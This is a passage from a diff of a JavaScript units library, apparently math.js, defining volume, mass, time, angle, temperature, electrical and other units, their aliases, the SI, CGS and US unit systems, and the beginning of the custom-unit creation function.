'minim', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.00000006161152, + offset: 0 + }, + // 0.06161152 mL + fluiddram: { + name: 'fluiddram', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.0000036966911, + offset: 0 + }, + // 3.696691 mL + fluidounce: { + name: 'fluidounce', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.00002957353, + offset: 0 + }, + // 29.57353 mL + gill: { + name: 'gill', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.0001182941, + offset: 0 + }, + // 118.2941 mL + cc: { + name: 'cc', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 1e-6, + offset: 0 + }, + // 1e-6 L + cup: { + name: 'cup', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.0002365882, + offset: 0 + }, + // 236.5882 mL + pint: { + name: 'pint', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.0004731765, + offset: 0 + }, + // 473.1765 mL + quart: { + name: 'quart', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.0009463529, + offset: 0 + }, + // 946.3529 mL + gallon: { + name: 'gallon', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.003785412, + offset: 0 + }, + // 3.785412 L + beerbarrel: { + name: 'beerbarrel', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.1173478, + offset: 0 + }, + // 117.3478 L + oilbarrel: { + name: 'oilbarrel', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.1589873, + offset: 0 + }, + // 158.9873 L + hogshead: { + name: 'hogshead', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.2384810, + offset: 0 + }, + // 238.4810 L + // {name: 'min', base: BASE_UNITS.VOLUME, prefixes: PREFIXES.NONE, value: 0.00000006161152, offset: 0}, // 0.06161152 mL // min is already in use as minute + fldr: { + name: 'fldr', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.0000036966911, + offset: 0 + }, + // 3.696691 mL + floz: { + name: 'floz', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.00002957353, + offset: 0 + }, + // 29.57353 mL + gi: { + name: 'gi', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.0001182941, + offset: 0 + }, + // 118.2941 mL + cp: { + name: 'cp', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.0002365882, + offset: 0 + }, + // 236.5882 mL + pt: { + name: 'pt', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.0004731765, + offset: 0 + }, + // 473.1765 mL + qt: { + name: 'qt', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.0009463529, + offset: 0 + }, + // 946.3529 mL + gal: { + name: 'gal', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.003785412, + offset: 0 + }, + // 3.785412 L + bbl: { + name: 'bbl', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.1173478, + offset: 0 + }, + // 117.3478 L + obl: { + name: 'obl', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.1589873, + offset: 0 + }, + // 158.9873 L + // {name: 'hogshead', base: BASE_UNITS.VOLUME, prefixes: PREFIXES.NONE, value: 0.2384810, offset: 0}, // 238.4810 L // TODO: hh? + // Mass + g: { + name: 'g', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.SHORT, + value: 0.001, + offset: 0 + }, + gram: { + name: 'gram', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.LONG, + value: 0.001, + offset: 0 + }, + ton: { + name: 'ton', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.SHORT, + value: 907.18474, + offset: 0 + }, + tonne: { + name: 'tonne', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.SHORT, + value: 1000, + offset: 0 + }, + grain: { + name: 'grain', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 64.79891e-6, + offset: 0 + }, + dram: { + name: 'dram', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 1.7718451953125e-3, + offset: 0 + }, + ounce: { + name: 'ounce', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 28.349523125e-3, + offset: 0 + }, + poundmass: { + name: 'poundmass', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 453.59237e-3, + offset: 0 + }, + hundredweight: { + name: 'hundredweight', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 45.359237, + offset: 0 + }, + stick: { + name: 'stick', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 115e-3, + offset: 0 + }, + stone: { + name: 'stone', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 6.35029318, + offset: 0 + }, + gr: { + name: 'gr', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 64.79891e-6, + offset: 0 + }, + dr: { + name: 'dr', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 1.7718451953125e-3, + offset: 0 + }, + oz: { + name: 'oz', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 28.349523125e-3, + offset: 0 + }, + lbm: { + name: 'lbm', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 453.59237e-3, + offset: 0 + }, + cwt: { + name: 'cwt', + base: BASE_UNITS.MASS, + prefixes: PREFIXES.NONE, + value: 45.359237, + offset: 0 + }, + // Time + s: { + name: 's', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + min: { + name: 'min', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 60, + offset: 0 + }, + h: { + name: 'h', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 3600, + offset: 0 + }, + second: { + name: 'second', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + sec: { + name: 'sec', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + minute: { + name: 'minute', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 60, + offset: 0 + }, + hour: { + name: 'hour', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 3600, + offset: 0 + }, + day: { + name: 'day', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 86400, + offset: 0 + }, + week: { + name: 'week', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 7 * 86400, + offset: 0 + }, + month: { + name: 'month', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 2629800, + // 1/12th of Julian year + offset: 0 + }, + year: { + name: 'year', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 31557600, + // Julian year + offset: 0 + }, + decade: { + name: 'decade', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 315576000, + // Julian decade + offset: 0 + }, + century: { + name: 'century', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 3155760000, + // Julian century + offset: 0 + }, + millennium: { + name: 'millennium', + base: BASE_UNITS.TIME, + prefixes: PREFIXES.NONE, + value: 31557600000, + // Julian millennium + offset: 0 + }, + // Frequency + hertz: { + name: 'Hertz', + base: BASE_UNITS.FREQUENCY, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0, + reciprocal: true + }, + Hz: { + name: 'Hz', + base: BASE_UNITS.FREQUENCY, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0, + reciprocal: true + }, + // Angle + rad: { + name: 'rad', + base: BASE_UNITS.ANGLE, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + radian: { + name: 'radian', + base: BASE_UNITS.ANGLE, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + // deg = rad / (2*pi) * 360 = rad / 0.017453292519943295769236907684888 + deg: { + name: 'deg', + base: BASE_UNITS.ANGLE, + prefixes: PREFIXES.SHORT, + value: null, + // will be filled in by calculateAngleValues() + offset: 0 + }, + degree: { + name: 'degree', + base: BASE_UNITS.ANGLE, + prefixes: PREFIXES.LONG, + value: null, + // will be filled in by calculateAngleValues() + offset: 0 + }, + // grad = rad / (2*pi) * 400 = rad / 0.015707963267948966192313216916399 + grad: { + name: 'grad', + base: BASE_UNITS.ANGLE, + prefixes: PREFIXES.SHORT, + value: null, + // will be filled in by calculateAngleValues() + offset: 0 + }, + gradian: { + name: 'gradian', + base: BASE_UNITS.ANGLE, + prefixes: PREFIXES.LONG, + value: null, + // will be filled in by calculateAngleValues() + offset: 0 + }, + // cycle = rad / (2*pi) = rad / 6.2831853071795864769252867665793 + cycle: { + name: 'cycle', + base: BASE_UNITS.ANGLE, + prefixes: PREFIXES.NONE, + value: null, + // will be filled in by calculateAngleValues() + offset: 0 + }, + // arcsec = rad / (3600 * (360 / 2 * pi)) = rad / 0.0000048481368110953599358991410235795 + arcsec: { + name: 'arcsec', + base: BASE_UNITS.ANGLE, + prefixes: PREFIXES.NONE, + value: null, + // will be filled in by calculateAngleValues() + offset: 0 + }, + // arcmin = rad / (60 * (360 / 2 * pi)) = rad / 0.00029088820866572159615394846141477 + arcmin: { + name: 'arcmin', + base: BASE_UNITS.ANGLE, + prefixes: PREFIXES.NONE, + value: null, + // will be filled in by calculateAngleValues() + offset: 0 + }, + // Electric current + A: { + name: 'A', + base: BASE_UNITS.CURRENT, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + ampere: { + name: 'ampere', + base: BASE_UNITS.CURRENT, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + // Temperature + // K(C) = °C + 273.15 + // K(F) = (°F + 459.67) / 1.8 + // K(R) = °R / 1.8 + K: { + name: 'K', + base: BASE_UNITS.TEMPERATURE, + prefixes: PREFIXES.NONE, + value: 1, + offset: 0 + }, + degC: { + name: 'degC', + base: BASE_UNITS.TEMPERATURE, + prefixes: PREFIXES.NONE, + value: 1, + offset: 273.15 + }, + degF: { + name: 'degF', + base: BASE_UNITS.TEMPERATURE, + prefixes: PREFIXES.NONE, + value: 1 / 1.8, + offset: 459.67 + }, + degR: { + name: 'degR', + base: BASE_UNITS.TEMPERATURE, + prefixes: PREFIXES.NONE, + value: 1 / 1.8, + offset: 0 + }, + kelvin: { + name: 'kelvin', + base: BASE_UNITS.TEMPERATURE, + prefixes: PREFIXES.NONE, + value: 1, + offset: 0 + }, + celsius: { + name: 'celsius', + base: BASE_UNITS.TEMPERATURE, + prefixes: PREFIXES.NONE, + value: 1, + offset: 273.15 + }, + fahrenheit: { + name: 'fahrenheit', + base: BASE_UNITS.TEMPERATURE, + prefixes: PREFIXES.NONE, + value: 1 / 1.8, + offset: 459.67 + }, + rankine: { + name: 'rankine', + base: BASE_UNITS.TEMPERATURE, + prefixes: PREFIXES.NONE, + value: 1 / 1.8, + offset: 0 + }, + // amount of substance + mol: { + name: 'mol', + base: BASE_UNITS.AMOUNT_OF_SUBSTANCE, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + mole: { + name: 'mole', + base: BASE_UNITS.AMOUNT_OF_SUBSTANCE, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + // luminous intensity + cd: { + name: 'cd', + base: BASE_UNITS.LUMINOUS_INTENSITY, + prefixes: PREFIXES.NONE, + value: 1, + offset: 0 + }, + candela: { + name: 'candela', + base: BASE_UNITS.LUMINOUS_INTENSITY, + prefixes: PREFIXES.NONE, + value: 1, + offset: 0 + }, + // TODO: units STERADIAN + // {name: 'sr', base: BASE_UNITS.STERADIAN, prefixes: PREFIXES.NONE, value: 1, offset: 0}, + // {name: 'steradian', base: BASE_UNITS.STERADIAN, prefixes: PREFIXES.NONE, value: 1, offset: 0}, + // Force + N: { + name: 'N', + base: BASE_UNITS.FORCE, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + newton: { + name: 'newton', + base: BASE_UNITS.FORCE, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + dyn: { + name: 'dyn', + base: BASE_UNITS.FORCE, + prefixes: PREFIXES.SHORT, + value: 0.00001, + offset: 0 + }, + dyne: { + name: 'dyne', + base: BASE_UNITS.FORCE, + prefixes: PREFIXES.LONG, + value: 0.00001, + offset: 0 + }, + lbf: { + name: 'lbf', + base: BASE_UNITS.FORCE, + prefixes: PREFIXES.NONE, + value: 4.4482216152605, + offset: 0 + }, + poundforce: { + name: 'poundforce', + base: BASE_UNITS.FORCE, + prefixes: PREFIXES.NONE, + value: 4.4482216152605, + offset: 0 + }, + kip: { + name: 'kip', + base: BASE_UNITS.FORCE, + prefixes: PREFIXES.LONG, + value: 4448.2216, + offset: 0 + }, + // Energy + J: { + name: 'J', + base: BASE_UNITS.ENERGY, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + joule: { + name: 'joule', + base: BASE_UNITS.ENERGY, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + erg: { + name: 'erg', + base: BASE_UNITS.ENERGY, + prefixes: PREFIXES.NONE, + value: 1e-7, + offset: 0 + }, + Wh: { + name: 'Wh', + base: BASE_UNITS.ENERGY, + prefixes: PREFIXES.SHORT, + value: 3600, + offset: 0 + }, + BTU: { + name: 'BTU', + base: BASE_UNITS.ENERGY, + prefixes: PREFIXES.BTU, + value: 1055.05585262, + offset: 0 + }, + eV: { + name: 'eV', + base: BASE_UNITS.ENERGY, + prefixes: PREFIXES.SHORT, + value: 1.602176565e-19, + offset: 0 + }, + electronvolt: { + name: 'electronvolt', + base: BASE_UNITS.ENERGY, + prefixes: PREFIXES.LONG, + value: 1.602176565e-19, + offset: 0 + }, + // Power + W: { + name: 'W', + base: BASE_UNITS.POWER, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + watt: { + name: 'watt', + base: BASE_UNITS.POWER, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + hp: { + name: 'hp', + base: BASE_UNITS.POWER, + prefixes: PREFIXES.NONE, + value: 745.6998715386, + offset: 0 + }, + // Electrical power units + VAR: { + name: 'VAR', + base: BASE_UNITS.POWER, + prefixes: PREFIXES.SHORT, + value: Complex.I, + offset: 0 + }, + VA: { + name: 'VA', + base: BASE_UNITS.POWER, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + // Pressure + Pa: { + name: 'Pa', + base: BASE_UNITS.PRESSURE, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + psi: { + name: 'psi', + base: BASE_UNITS.PRESSURE, + prefixes: PREFIXES.NONE, + value: 6894.75729276459, + offset: 0 + }, + atm: { + name: 'atm', + base: BASE_UNITS.PRESSURE, + prefixes: PREFIXES.NONE, + value: 101325, + offset: 0 + }, + bar: { + name: 'bar', + base: BASE_UNITS.PRESSURE, + prefixes: PREFIXES.SHORTLONG, + value: 100000, + offset: 0 + }, + torr: { + name: 'torr', + base: BASE_UNITS.PRESSURE, + prefixes: PREFIXES.NONE, + value: 133.322, + offset: 0 + }, + mmHg: { + name: 'mmHg', + base: BASE_UNITS.PRESSURE, + prefixes: PREFIXES.NONE, + value: 133.322, + offset: 0 + }, + mmH2O: { + name: 'mmH2O', + base: BASE_UNITS.PRESSURE, + prefixes: PREFIXES.NONE, + value: 9.80665, + offset: 0 + }, + cmH2O: { + name: 'cmH2O', + base: BASE_UNITS.PRESSURE, + prefixes: PREFIXES.NONE, + value: 98.0665, + offset: 0 + }, + // Electric charge + coulomb: { + name: 'coulomb', + base: BASE_UNITS.ELECTRIC_CHARGE, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + C: { + name: 'C', + base: BASE_UNITS.ELECTRIC_CHARGE, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + // Electric capacitance + farad: { + name: 'farad', + base: BASE_UNITS.ELECTRIC_CAPACITANCE, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + F: { + name: 'F', + base: BASE_UNITS.ELECTRIC_CAPACITANCE, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + // Electric potential + volt: { + name: 'volt', + base: BASE_UNITS.ELECTRIC_POTENTIAL, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + V: { + name: 'V', + base: BASE_UNITS.ELECTRIC_POTENTIAL, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + // Electric resistance + ohm: { + name: 'ohm', + base: BASE_UNITS.ELECTRIC_RESISTANCE, + prefixes: PREFIXES.SHORTLONG, + // Both Mohm and megaohm are acceptable + value: 1, + offset: 0 + }, + + /* + * Unicode breaks in browsers if charset is not specified + Ω: { + name: 'Ω', + base: BASE_UNITS.ELECTRIC_RESISTANCE, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + */ + // Electric inductance + henry: { + name: 'henry', + base: BASE_UNITS.ELECTRIC_INDUCTANCE, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + H: { + name: 'H', + base: BASE_UNITS.ELECTRIC_INDUCTANCE, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + // Electric conductance + siemens: { + name: 'siemens', + base: BASE_UNITS.ELECTRIC_CONDUCTANCE, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + S: { + name: 'S', + base: BASE_UNITS.ELECTRIC_CONDUCTANCE, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + // Magnetic flux + weber: { + name: 'weber', + base: BASE_UNITS.MAGNETIC_FLUX, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + Wb: { + name: 'Wb', + base: BASE_UNITS.MAGNETIC_FLUX, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + // Magnetic flux density + tesla: { + name: 'tesla', + base: BASE_UNITS.MAGNETIC_FLUX_DENSITY, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + T: { + name: 'T', + base: BASE_UNITS.MAGNETIC_FLUX_DENSITY, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + // Binary + b: { + name: 'b', + base: BASE_UNITS.BIT, + prefixes: PREFIXES.BINARY_SHORT, + value: 1, + offset: 0 + }, + bits: { + name: 'bits', + base: BASE_UNITS.BIT, + prefixes: PREFIXES.BINARY_LONG, + value: 1, + offset: 0 + }, + B: { + name: 'B', + base: BASE_UNITS.BIT, + prefixes: PREFIXES.BINARY_SHORT, + value: 8, + offset: 0 + }, + bytes: { + name: 'bytes', + base: BASE_UNITS.BIT, + prefixes: PREFIXES.BINARY_LONG, + value: 8, + offset: 0 + } // aliases (formerly plurals) + + }; + var ALIASES = { + meters: 'meter', + inches: 'inch', + feet: 'foot', + yards: 'yard', + miles: 'mile', + links: 'link', + rods: 'rod', + chains: 'chain', + angstroms: 'angstrom', + lt: 'l', + litres: 'litre', + liter: 'litre', + liters: 'litre', + teaspoons: 'teaspoon', + tablespoons: 'tablespoon', + minims: 'minim', + fluiddrams: 'fluiddram', + fluidounces: 'fluidounce', + gills: 'gill', + cups: 'cup', + pints: 'pint', + quarts: 'quart', + gallons: 'gallon', + beerbarrels: 'beerbarrel', + oilbarrels: 'oilbarrel', + hogsheads: 'hogshead', + gtts: 'gtt', + grams: 'gram', + tons: 'ton', + tonnes: 'tonne', + grains: 'grain', + drams: 'dram', + ounces: 'ounce', + poundmasses: 'poundmass', + hundredweights: 'hundredweight', + sticks: 'stick', + lb: 'lbm', + lbs: 'lbm', + kips: 'kip', + acres: 'acre', + hectares: 'hectare', + sqfeet: 'sqft', + sqyard: 'sqyd', + sqmile: 'sqmi', + sqmiles: 'sqmi', + mmhg: 'mmHg', + mmh2o: 'mmH2O', + cmh2o: 'cmH2O', + seconds: 'second', + secs: 'second', + minutes: 'minute', + mins: 'minute', + hours: 'hour', + hr: 'hour', + hrs: 'hour', + days: 'day', + weeks: 'week', + months: 'month', + years: 'year', + decades: 'decade', + centuries: 'century', + millennia: 'millennium', + hertz: 'hertz', + radians: 'radian', + degrees: 'degree', + gradians: 'gradian', + cycles: 'cycle', + arcsecond: 'arcsec', + arcseconds: 'arcsec', + arcminute: 'arcmin', + arcminutes: 'arcmin', + BTUs: 'BTU', + watts: 'watt', + joules: 'joule', + amperes: 'ampere', + coulombs: 'coulomb', + volts: 'volt', + ohms: 'ohm', + farads: 'farad', + webers: 'weber', + teslas: 'tesla', + electronvolts: 'electronvolt', + moles: 'mole' + /** + * Calculate the values for the angle units. + * Value is calculated as number or BigNumber depending on the configuration + * @param {{number: 'number' | 'BigNumber'}} config + */ + + }; + + function calculateAngleValues(config) { + if (config.number === 'BigNumber') { + var pi = constants.pi(type.BigNumber); + UNITS.rad.value = new type.BigNumber(1); + UNITS.deg.value = pi.div(180); // 2 * pi / 360 + + UNITS.grad.value = pi.div(200); // 2 * pi / 400 + + UNITS.cycle.value = pi.times(2); // 2 * pi + + UNITS.arcsec.value = pi.div(648000); // 2 * pi / 360 / 3600 + + UNITS.arcmin.value = pi.div(10800); // 2 * pi / 360 / 60 + } else { + // number + UNITS.rad.value = 1; + UNITS.deg.value = Math.PI / 180; // 2 * pi / 360 + + UNITS.grad.value = Math.PI / 200; // 2 * pi / 400 + + UNITS.cycle.value = Math.PI * 2; // 2 * pi + + UNITS.arcsec.value = Math.PI / 648000; // 2 * pi / 360 / 3600 + + UNITS.arcmin.value = Math.PI / 10800; // 2 * pi / 360 / 60 + } // copy to the full names of the angles + + + UNITS.radian.value = UNITS.rad.value; + UNITS.degree.value = UNITS.deg.value; + UNITS.gradian.value = UNITS.grad.value; + } // apply the angle values now + + + calculateAngleValues(config); // recalculate the values on change of configuration + + math.on('config', function (curr, prev) { + if (curr.number !== prev.number) { + calculateAngleValues(curr); + } + }); + /** + * A unit system is a set of dimensionally independent base units plus a set of derived units, formed by multiplication and division of the base units, that are by convention used with the unit system. + * A user perhaps could issue a command to select a preferred unit system, or use the default (see below). + * Auto unit system: The default unit system is updated on the fly anytime a unit is parsed. The corresponding unit in the default unit system is updated, so that answers are given in the same units the user supplies. + */ + + var UNIT_SYSTEMS = { + si: { + // Base units + NONE: { + unit: UNIT_NONE, + prefix: PREFIXES.NONE[''] + }, + LENGTH: { + unit: UNITS.m, + prefix: PREFIXES.SHORT[''] + }, + MASS: { + unit: UNITS.g, + prefix: PREFIXES.SHORT['k'] + }, + TIME: { + unit: UNITS.s, + prefix: PREFIXES.SHORT[''] + }, + CURRENT: { + unit: UNITS.A, + prefix: PREFIXES.SHORT[''] + }, + TEMPERATURE: { + unit: UNITS.K, + prefix: PREFIXES.SHORT[''] + }, + LUMINOUS_INTENSITY: { + unit: UNITS.cd, + prefix: PREFIXES.SHORT[''] + }, + AMOUNT_OF_SUBSTANCE: { + unit: UNITS.mol, + prefix: PREFIXES.SHORT[''] + }, + ANGLE: { + unit: UNITS.rad, + prefix: PREFIXES.SHORT[''] + }, + BIT: { + unit: UNITS.bit, + prefix: PREFIXES.SHORT[''] + }, + // Derived units + FORCE: { + unit: UNITS.N, + prefix: PREFIXES.SHORT[''] + }, + ENERGY: { + unit: UNITS.J, + prefix: PREFIXES.SHORT[''] + }, + POWER: { + unit: UNITS.W, + prefix: PREFIXES.SHORT[''] + }, + PRESSURE: { + unit: UNITS.Pa, + prefix: PREFIXES.SHORT[''] + }, + ELECTRIC_CHARGE: { + unit: UNITS.C, + prefix: PREFIXES.SHORT[''] + }, + ELECTRIC_CAPACITANCE: { + unit: UNITS.F, + prefix: PREFIXES.SHORT[''] + }, + ELECTRIC_POTENTIAL: { + unit: UNITS.V, + prefix: PREFIXES.SHORT[''] + }, + ELECTRIC_RESISTANCE: { + unit: UNITS.ohm, + prefix: PREFIXES.SHORT[''] + }, + ELECTRIC_INDUCTANCE: { + unit: UNITS.H, + prefix: PREFIXES.SHORT[''] + }, + ELECTRIC_CONDUCTANCE: { + unit: UNITS.S, + prefix: PREFIXES.SHORT[''] + }, + MAGNETIC_FLUX: { + unit: UNITS.Wb, + prefix: PREFIXES.SHORT[''] + }, + MAGNETIC_FLUX_DENSITY: { + unit: UNITS.T, + prefix: PREFIXES.SHORT[''] + }, + FREQUENCY: { + unit: UNITS.Hz, + prefix: PREFIXES.SHORT[''] + } + } // Clone to create the other unit systems + + }; + UNIT_SYSTEMS.cgs = JSON.parse(JSON.stringify(UNIT_SYSTEMS.si)); + UNIT_SYSTEMS.cgs.LENGTH = { + unit: UNITS.m, + prefix: PREFIXES.SHORT['c'] + }; + UNIT_SYSTEMS.cgs.MASS = { + unit: UNITS.g, + prefix: PREFIXES.SHORT[''] + }; + UNIT_SYSTEMS.cgs.FORCE = { + unit: UNITS.dyn, + prefix: PREFIXES.SHORT[''] + }; + UNIT_SYSTEMS.cgs.ENERGY = { + unit: UNITS.erg, + prefix: PREFIXES.NONE[''] // there are wholly 4 unique cgs systems for electricity and magnetism, + // so let's not worry about it unless somebody complains + + }; + UNIT_SYSTEMS.us = JSON.parse(JSON.stringify(UNIT_SYSTEMS.si)); + UNIT_SYSTEMS.us.LENGTH = { + unit: UNITS.ft, + prefix: PREFIXES.NONE[''] + }; + UNIT_SYSTEMS.us.MASS = { + unit: UNITS.lbm, + prefix: PREFIXES.NONE[''] + }; + UNIT_SYSTEMS.us.TEMPERATURE = { + unit: UNITS.degF, + prefix: PREFIXES.NONE[''] + }; + UNIT_SYSTEMS.us.FORCE = { + unit: UNITS.lbf, + prefix: PREFIXES.NONE[''] + }; + UNIT_SYSTEMS.us.ENERGY = { + unit: UNITS.BTU, + prefix: PREFIXES.BTU[''] + }; + UNIT_SYSTEMS.us.POWER = { + unit: UNITS.hp, + prefix: PREFIXES.NONE[''] + }; + UNIT_SYSTEMS.us.PRESSURE = { + unit: UNITS.psi, + prefix: PREFIXES.NONE[''] // Add additional unit systems here. + // Choose a unit system to seed the auto unit system. + + }; + UNIT_SYSTEMS.auto = JSON.parse(JSON.stringify(UNIT_SYSTEMS.si)); // Set the current unit system + + var currentUnitSystem = UNIT_SYSTEMS.auto; + /** + * Set a unit system for formatting derived units. + * @param {string} [name] The name of the unit system. + */ + + Unit.setUnitSystem = function (name) { + if (UNIT_SYSTEMS.hasOwnProperty(name)) { + currentUnitSystem = UNIT_SYSTEMS[name]; + } else { + throw new Error('Unit system ' + name + ' does not exist. Choices are: ' + Object.keys(UNIT_SYSTEMS).join(', ')); + } + }; + /** + * Return the current unit system. + * @return {string} The current unit system. + */ + + + Unit.getUnitSystem = function () { + for (var _key in UNIT_SYSTEMS) { + if (UNIT_SYSTEMS[_key] === currentUnitSystem) { + return _key; + } + } + }; + /** + * Converters to convert from number to an other numeric type like BigNumber + * or Fraction + */ + + + Unit.typeConverters = { + BigNumber: function BigNumber(x) { + return new type.BigNumber(x + ''); // stringify to prevent constructor error + }, + Fraction: function Fraction(x) { + return new type.Fraction(x); + }, + Complex: function Complex(x) { + return x; + }, + number: function number(x) { + return x; + } + /** + * Retrieve the right convertor function corresponding with the type + * of provided exampleValue. + * + * @param {string} type A string 'number', 'BigNumber', or 'Fraction' + * In case of an unknown type, + * @return {Function} + */ + + }; + + Unit._getNumberConverter = function (type) { + if (!Unit.typeConverters[type]) { + throw new TypeError('Unsupported type "' + type + '"'); + } + + return Unit.typeConverters[type]; + }; // Add dimensions to each built-in unit + + + for (var _key2 in UNITS) { + var unit = UNITS[_key2]; + unit.dimensions = unit.base.dimensions; + } // Create aliases + + + for (var name in ALIASES) { + if (ALIASES.hasOwnProperty(name)) { + var _unit2 = UNITS[ALIASES[name]]; + var alias = {}; + + for (var _key3 in _unit2) { + if (_unit2.hasOwnProperty(_key3)) { + alias[_key3] = _unit2[_key3]; + } + } + + alias.name = name; + UNITS[name] = alias; + } + } + + function assertUnitNameIsValid(name) { + for (var i = 0; i < name.length; i++) { + var _c = name.charAt(i); + + var isValidAlpha = function isValidAlpha(p) { + return /^[a-zA-Z]$/.test(p); + }; + + var _isDigit = function _isDigit(c) { + return c >= '0' && c <= '9'; + }; + + if (i === 0 && !isValidAlpha(_c)) { + throw new Error('Invalid unit name (must begin with alpha character): "' + name + '"'); + } + + if (i > 0 && !(isValidAlpha(_c) || _isDigit(_c))) { + throw new Error('Invalid unit name (only alphanumeric characters are allowed): "' + name + '"'); + } + } + } + /** + * Wrapper around createUnitSingle. + * Example: + * createUnit({ + * foo: { }, + * bar: { + * definition: 'kg/foo', + * aliases: ['ba', 'barr', 'bars'], + * offset: 200 + * }, + * baz: '4 bar' + * }, + * { + * override: true + * }) + * @param {object} obj Object map. Each key becomes a unit which is defined by its value. + * @param {object} options + */ + + + Unit.createUnit = function (obj, options) { + if (_typeof(obj) !== 'object') { + throw new TypeError("createUnit expects first parameter to be of type 'Object'"); + } // Remove all units and aliases we are overriding + + + if (options && options.override) { + for (var _key4 in obj) { + if (obj.hasOwnProperty(_key4)) { + Unit.deleteUnit(_key4); + } + + if (obj[_key4].aliases) { + for (var i = 0; i < obj[_key4].aliases.length; i++) { + Unit.deleteUnit(obj[_key4].aliases[i]); + } + } + } + } // TODO: traverse multiple times until all units have been added + + + var lastUnit; + + for (var _key5 in obj) { + if (obj.hasOwnProperty(_key5)) { + lastUnit = Unit.createUnitSingle(_key5, obj[_key5]); + } + } + + return lastUnit; + }; + /** + * Create a user-defined unit and register it with the Unit type. + * Example: + * createUnitSingle('knot', '0.514444444 m/s') + * createUnitSingle('acre', new Unit(43560, 